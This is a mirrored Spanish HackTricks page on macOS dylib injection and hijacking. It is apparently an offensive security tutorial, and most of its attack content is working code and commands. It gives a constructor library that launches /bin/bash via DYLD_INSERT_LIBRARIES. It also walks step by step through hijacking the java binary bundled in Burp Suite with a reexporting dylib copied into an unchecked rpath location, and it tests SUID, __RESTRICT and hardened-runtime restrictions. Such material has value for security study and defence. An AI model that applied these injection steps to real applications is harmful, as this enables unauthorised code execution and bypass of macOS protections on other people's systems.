mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
218 lines
9.5 KiB
Markdown
218 lines
9.5 KiB
Markdown
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## macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
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* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
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* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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## Ejemplo básico de DYLD\_INSERT\_LIBRARIES
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**Librería para inyectar** y ejecutar una shell:
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```c
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// gcc -dynamiclib -o inject.dylib inject.c
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#include <syslog.h>
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#include <stdio.h>
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#include <unistd.h>
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__attribute__((constructor))
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void myconstructor(int argc, const char **argv)
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{
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syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
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printf("[+] dylib injected in %s\n", argv[0]);
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execv("/bin/bash", 0);
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}
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```
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Binario a atacar:
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```c
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// gcc hello.c -o hello
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#include <stdio.h>
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int main()
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{
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printf("Hello, World!\n");
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return 0;
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}
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```
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Inyección:
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```bash
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DYLD_INSERT_LIBRARIES=inject.dylib ./hello
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```
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## Ejemplo de Secuestro de Dyld
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El binario vulnerable objetivo es `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java`.
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{% tabs %}
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{% tab title="LC_RPATH" %}
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{% code overflow="wrap" %}
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```bash
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# Check where are the @rpath locations
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otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" | grep LC_RPATH -A 2
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cmd LC_RPATH
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cmdsize 32
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path @loader_path/. (offset 12)
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--
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cmd LC_RPATH
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cmdsize 32
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path @loader_path/../lib (offset 12)
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```
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{% endcode %}
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{% endtab %}
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{% tab title="@loader_path" %}
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{% code overflow="wrap" %}
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```bash
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# Check librareis loaded using @rapth and the used versions
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otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" | grep "@rpath" -A 3
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name @rpath/libjli.dylib (offset 24)
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time stamp 2 Thu Jan 1 01:00:02 1970
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current version 1.0.0
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compatibility version 1.0.0
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```
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{% endcode %}
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{% endtab %}
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{% tab title="entitlements" %}
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<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java"
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<strong>[...]com.apple.security.cs.disable-library-validation[...]
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</strong></code></pre>
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{% endtab %}
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{% endtabs %}
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Con la información anterior sabemos que **no está verificando la firma de las bibliotecas cargadas** y está **intentando cargar una biblioteca desde**:
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* `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib`
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* `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib`
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Sin embargo, la primera no existe:
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```bash
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pwd
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/Applications/Burp Suite Professional.app
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find ./ -name libjli.dylib
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./Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib
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./Contents/Resources/jre.bundle/Contents/MacOS/libjli.dylib
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```
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¡Así que es posible secuestrarlo! Crea una biblioteca que **ejecute algún código arbitrario y exporte las mismas funcionalidades** que la biblioteca legítima reexportándola. Y recuerda compilarla con las versiones esperadas:
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{% code title="libjli.m" %}
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```objectivec
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#import <Foundation/Foundation.h>
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__attribute__((constructor))
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void custom(int argc, const char **argv) {
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NSLog(@"[+] dylib hijacked in %s",argv[0]);
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}
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```
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{% endcode %}
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Compílalo:
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{% code overflow="wrap" %}
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```bash
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gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation libjli.m -Wl,-reexport_library,"/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib" -o libjli.dylib
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# Note the versions and the reexport
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```
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{% endcode %}
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La ruta de reexportación creada en la biblioteca es relativa al cargador, cambiémosla por una ruta absoluta a la biblioteca a exportar:
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{% code overflow="wrap" %}
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```bash
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#Check relative
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otool -l libjli.dylib| grep REEXPORT -A 2
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cmd LC_REEXPORT_DYLIB
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cmdsize 48
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name @rpath/libjli.dylib (offset 24)
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#Change to absolute to the location of the library
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install_name_tool -change @rpath/libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib" libjli.dylib
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# Check again
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otool -l libjli.dylib| grep REEXPORT -A 2
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cmd LC_REEXPORT_DYLIB
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cmdsize 128
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name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
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```
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{% endcode %}
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Finalmente, simplemente cópielo a la **ubicación secuestrada**:
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{% code overflow="wrap" %}
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```bash
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cp libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib"
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```
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{% endcode %}
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Y **ejecuta** el binario y comprueba que la **biblioteca se ha cargado**:
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<pre class="language-context"><code class="lang-context">./java
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<strong>2023-05-15 15:20:36.677 java[78809:21797902] [+] dylib hijacked in ./java
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</strong>Usage: java [options] <mainclass> [args...]
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(para ejecutar una clase)
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</code></pre>
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{% hint style="info" %}
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Se puede encontrar un buen artículo sobre cómo aprovechar esta vulnerabilidad para abusar de los permisos de la cámara de Telegram en [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
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{% endhint %}
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## Escala mayor
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Si planeas intentar inyectar bibliotecas en binarios inesperados, puedes comprobar los mensajes de eventos para averiguar cuándo se carga la biblioteca dentro de un proceso (en este caso, elimina el printf y la ejecución de `/bin/bash`).
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```bash
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sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
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```
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## Verificar restricciones
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### SUID y SGID
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```bash
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# Make it owned by root and suid
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sudo chown root hello
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sudo chmod +s hello
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# Insert the library
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DYLD_INSERT_LIBRARIES=inject.dylib ./hello
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# Remove suid
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sudo chmod -s hello
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```
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### Sección `__RESTRICT` con segmento `__restrict`
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```bash
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gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
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DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
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```
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### Tiempo de ejecución endurecido
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Cree un nuevo certificado en el Keychain y úselo para firmar el binario:
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{% code overflow="wrap" %}
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```bash
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codesign -s <cert-name> --option=runtime ./hello
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DYLD_INSERT_LIBRARIES=inject.dylib ./hello
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codesign -f -s <cert-name> --option=library ./hello
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DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed #Will throw an error because signature of binary and library aren't signed by same cert
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codesign -s <cert-name> inject.dylib
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DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed #Throw an error because an Apple dev certificate is needed
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```
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{% endcode %}
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
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* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
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* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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